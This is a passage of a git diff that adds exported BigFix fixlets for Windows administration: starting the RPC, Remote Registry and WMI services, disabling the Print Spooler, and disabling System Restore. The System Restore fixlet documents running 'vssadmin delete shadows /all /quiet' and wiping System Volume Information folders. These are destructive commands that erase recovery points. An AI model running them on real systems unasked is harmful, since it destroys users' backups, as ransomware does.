+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the RPC EndPoint Mapper Service</Title>
+    <Description><![CDATA[<P>Starts the RPC Endpoint Mapper Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RpcEptMapper&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:29:36 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start rpcss</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes
new file mode 100644
index 000000000..53e3e2eb0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Procedure Call Service (9284).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Remote Procedure Call Service
+  ID       : 9284
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Remote Procedure Call Service</Title>
+    <Description><![CDATA[<P>Starts the Remote Procdure Call Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RpcSs&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:25:32 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start rpcss</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes
new file mode 100644
index 000000000..d9affc135
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Remote Registry Service (9286).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Remote Registry Service
+  ID       : 9286
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Remote Registry Service</Title>
+    <Description><![CDATA[<P>Starts the Remote Registry Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;RemoteRegistry&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:07:46 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start RemoteRegistry</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes b/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes
new file mode 100644
index 000000000..5d748476d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Start the Windows Management Instrumentation Service (9285).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Start the Windows Management Instrumentation Service
+  ID       : 9285
+  Author   : gearoid
+  Domain   : BES
+  Imported : 2016-03-15T06:02:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Start the Windows Management Instrumentation Service</Title>
+    <Description><![CDATA[<P>Starts the Windows Management Instrumentation Service.&nbsp; This is needed to run a QRadar Vulnerability Manager patch scans.</P>
+<P>For more details see <A href="http://www-01.ibm.com/support/docview.wss?uid=swg27043767">http://www-01.ibm.com/support/docview.wss?uid=swg27043767</A></P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists service &quot;Winmgmt&quot; whose (state of it != &quot;Running&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-03-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Mar 2016 12:20:57 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+waithidden net start winmgmt</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes b/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes
new file mode 100644
index 000000000..2fcd618fe
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Stop and disable Print Spooler service (26914).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Stop and disable Print Spooler service
+  ID       : 26914
+  Author   : jeffschafer
+  Domain   : BESC
+  Imported : 2022-03-10T14:12:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Stop and disable Print Spooler service</Title>
+    <Description><![CDATA[<B><FONT size=2 face=Arial><FONT size=2 face=Arial>
+<P dir=ltr>This fixlet will handle a few cases: </P>
+<P dir=ltr>1. If print spooler service is running and not set to disabled, it will stop it first then set service to disabled </P>
+<P dir=ltr>2. If print spooler is not running but service is not set to disabled, it will simply set service to disabled  </P></B></FONT></FONT>]]></Description>
+    <Relevance>(exists service &quot;spooler&quot; and not exists start types whose(it = &quot;disabled&quot;) of services &quot;spooler&quot;) and (name of operating system as lowercase contains &quot;win&quot;)</Relevance>
+    <Source>Bigfix AVP- Jeff Schafer</Source>
+    <SourceReleaseDate>2022-03-10</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Mar 2022 22:09:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exists running service whose (service name of it as lowercase = "spooler")}
+delete __appendfile
+delete netquiet.bat
+appendfile @ECHO OFF
+appendfile start "" /min /b net %1 %2 /y > NUL 2> NUL
+move __appendfile netquiet.bat
+waithidden "{pathname of client folder of site "BESSupport" & "\RunQuiet.exe"}" netquiet.bat stop "spooler"
+delete netquiet.bat
+waithidden cmd /C sc config spooler start= disabled
+else if {exists not running service "spooler" and not exists start type whose(it = "disabled") of service "spooler"}
+waithidden cmd /C sc config spooler start= disabled]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes b/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes
new file mode 100644
index 000000000..2c28062db
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/System Restore Off _ Disable (20643).bes	
@@ -0,0 +1,247 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : System Restore Off / Disable
+  ID       : 20643
+  Author   : Sean
+  Domain   : BESC
+  Imported : 2016-05-17T07:54:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>System Restore Off / Disable</Title>
+    <Description><![CDATA[<DIV style="BORDER-TOP: medium none; BORDER-RIGHT: medium none; BORDER-BOTTOM: #4f81bd 1pt solid; PADDING-BOTTOM: 4pt; PADDING-TOP: 0in; PADDING-LEFT: 0in; BORDER-LEFT: medium none; PADDING-RIGHT: 0in; mso-element: para-border-div; mso-border-bottom-themecolor: accent1">
+<P class=MsoTitle style="TEXT-ALIGN: center; MARGIN: 0in 0in 15pt" align=center><SPAN style="FONT-SIZE: 20pt"><FONT color=#17365d><FONT face=Cambria>Developer Documentation for System Restore Off<?xml:namespace prefix = "o" ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></FONT></FONT></SPAN></P></DIV>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Author(s):</B> Sean Seymour<o:p></o:p></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Document Version:</B> 2.3<o:p></o:p></FONT></FONT></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt; LINE-HEIGHT: normal"><FONT size=3><FONT face=Calibri><B style="mso-bidi-font-weight: normal">Last Updated:</B> 04/05/2016<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Overview<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>System Restore has been found to cause issues with disk space on certain devices and issues with restoring old versions of programs on other devices. This package fixes the System Restore state if it has been disabled incorrectly, then deletes all system restore points and disables it correctly. On Windows 7 devices, it also disables the built in scheduled task that periodically creates restore points.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Affected Device(s)<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Any device with System Restore Information &gt; 10 MB<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri>Any Win7+ device that has registry data or scheduled tasks indicating System Restore is active (details below)</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Files Installed<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Some temporary files are created, then executed and deleted.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Installation and Operation<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT face=Calibri><FONT size=3>From the BigFix console, Take Action on the System Restore Off fixlet. The client will run the actionscript, which does the following:<o:p></o:p></FONT></FONT></P>
+<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows XP<o:p></o:p></FONT></FONT></FONT></H3>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DiskPercent</B> to 1<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Temporarily sets <B style="mso-bidi-font-weight: normal">HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR</B> to 0<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>If the System Restore service is running, restarts it. Otherwise it sets the System Restore service to automatically start then starts it<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo1"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the System Restore service via WMI, which also deletes all System Restore points <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">and sets the DisableSR registry value back to 1</SPAN>.<o:p></o:p></FONT></FONT></P>
+<H3 style="MARGIN: 10pt 0in 0pt"><FONT color=#4f81bd><FONT face=Cambria><FONT size=3>Windows 7+<o:p></o:p></FONT></FONT></FONT></H3>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Disables the <B style="mso-bidi-font-weight: normal">Microsoft\Windows\SystemRestore\SR</B> scheduled task<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Removes any values in <B style="mso-bidi-font-weight: normal">HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients</B><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Attempts to remove existing restore points using <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: black">vssadmin delete shadows /all /quiet</SPAN></B><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo4"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Creates a scheduled task to run on the next reboot that:<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>Deletes the contents of any remaining <SPAN style="COLOR: black">System Volume Information folders on the drives’ root folders</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="COLOR: black">Deletes any temporary files that were created</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 1in; TEXT-INDENT: -0.25in; mso-list: l0 level2 lfo4; mso-add-space: auto"><SPAN style='FONT-FAMILY: "Courier New"; mso-fareast-font-family: "Courier New"'><SPAN style="mso-list: Ignore"><FONT size=3>o</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><FONT face=Calibri><SPAN style="COLOR: black">Deletes the scheduled task</SPAN><o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Known Issues<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>It’s possible that something in the filesystem continues to use the System Restore files even after a reboot, which would prevent deletion. If this amount of data is more than 10 MB then the result of the BigFix action will show as Failed. In these rare cases I would suggest running the fixlet again. If the issue persists, connect to the device and attempt to delete the existing restore points and disable System Restore manually through the System control panel.<o:p></o:p></FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Rollback Procedures<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoNormal style="MARGIN: 0in 0in 10pt"><FONT size=3><FONT face=Calibri>Configure System Restore via the control panel, or create a fixlet to re-enable it.</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Notes<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l2 level1 lfo5"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>This fixlet requires a restart before completing fully.</FONT></FONT></P>
+<H1 style="MARGIN: 24pt 0in 0pt"><FONT size=5><FONT color=#365f91><FONT face=Cambria>Document Changelog<o:p></o:p></FONT></FONT></FONT></H1>
+<P class=MsoListParagraphCxSpFirst style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>04/05/2016, Sean Seymour: Version 2.3 - Fixed a bug in the actionscript command to create the scheduled task that runs after the reboot.<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>03/16/2016, Sean Seymour: Version 2.2 - Added Win7+ info<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3><SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">11/03/2015</SPAN>, Sean Seymour: Version 2.1 <SPAN style="mso-bidi-font-family: Helvetica; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>- Clarified that the DisableSR registry value gets set back to 1.</SPAN><o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpMiddle style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT face=Calibri><FONT size=3>10/28/2015, Sean Seymour: Version 2.0 with updated information regarding the WMI step<o:p></o:p></FONT></FONT></P>
+<P class=MsoListParagraphCxSpLast style="MARGIN: 0in 0in 10pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l3 level1 lfo2"><SPAN style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"><SPAN style="mso-list: Ignore"><FONT size=3>·</FONT><SPAN style='FONT: 7pt "Times New Roman"'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3 face=Calibri>09/22/2015, Sean Seymour: Version 1.0 of this document created</FONT><o:p></o:p></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[((sum of sizes of descendants of folder "C:\System Volume Information" / (1024*1024)) > 10) or ((windows of operating system and version of operating system >= "6.1") and (exists value whose (name of it is "RPSessionInterval" and it > 0) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" of native registry) or (exists values of keys "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients" of native registry) or exists scheduled task whose (path of it is "\Microsoft\Windows\SystemRestore\SR" and enabled of it))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 17 May 2016 14:50:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system as string starts with "WinXP"}
+	parameter "ServiceName" = "srservice"
+
+	// Enable System Restore first, since it may be in a semi-disabled state
+	// which can seem off but is actually creating unregulated restore points.
+	// This can result in System Restore actually filling up all remaining drive
+	// space with restore points until it brings down the device.
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DiskPercent"=dword:1
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]" "DisableSR"=dword:0
+
+	// Need the service available to make these changes.
+	if {exists running service (parameter "ServiceName")}
+		parameter "ServiceState" = "Running"
+	else
+		if {exists service (parameter "ServiceName")}
+			// If the service is disabled, we need to change the configuration first.
+			if {start type of service (parameter "ServiceName") = "disabled"}
+				waithidden cmd /s /c "sc config "{parameter "ServiceName"}" start= demand && sc start "{parameter "ServiceName"}""
+			else
+				waithidden cmd /c sc start "{parameter "ServiceName"}"
+			endif
+			parameter "ServiceState" = "{state of service (parameter "ServiceName")}"
+		else
+			parameter "ServiceState" = "Unknown"
+		endif
+	endif
+
+	continue if {(parameter "ServiceState") is not "Unknown"}
+endif
+
+// Check if PowerShell exists. Otherwise we will use vbscript.
+if {exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of native registry}
+	parameter "PowerShellExists" = "True"
+else
